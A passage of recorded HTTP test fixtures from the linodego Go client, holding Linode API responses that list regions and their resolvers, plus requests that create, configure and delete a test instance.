1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 40}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:52:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-4n57ej5b4bz0","root_pass":"{N;i4qeSf5i1G0Kr3\u003cPB,}JZ)hG18v4(e]`5!J7t\u003e0!x2xvidfQ|WU\u003e6{VMT[058","image":"linode/debian12","firewall_id":1262477,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 67701824, "label": "go-test-ins-4n57ej5b4bz0", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.63.112"], "ipv6": "1234::5678/128", "image": "linode/debian12", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000, "accelerated_devices": 0}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "a9fcf0fa3f87c988e20199d64034bbae1870c1ee", "has_user_data": false, "placement_group": null, "disk_encryption": "enabled", "lke_cluster_id": null, "capabilities": ["SMTP Enabled"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:52:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "8" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-config-test-wait","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/67701824/configs method: POST response: body: '{"id": 71037128, "label": "go-config-test-wait", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "533" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:52:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/67701824 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 28 Nov 2024 05:53:25 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVolume_WaitForLinodeID_nil.yaml000066400000000000000000001035041474652371000334270ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nz-akl-1", "label": "Auckland, NZ", "country": "nz", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-den-1", "label": "Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-1", "label": "Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-1", "label": "Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-1", "label": "Johannesburg, ZA", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-1", "label": "Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-1", "label": "Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-1", "label": "Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-1", "label": "Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": 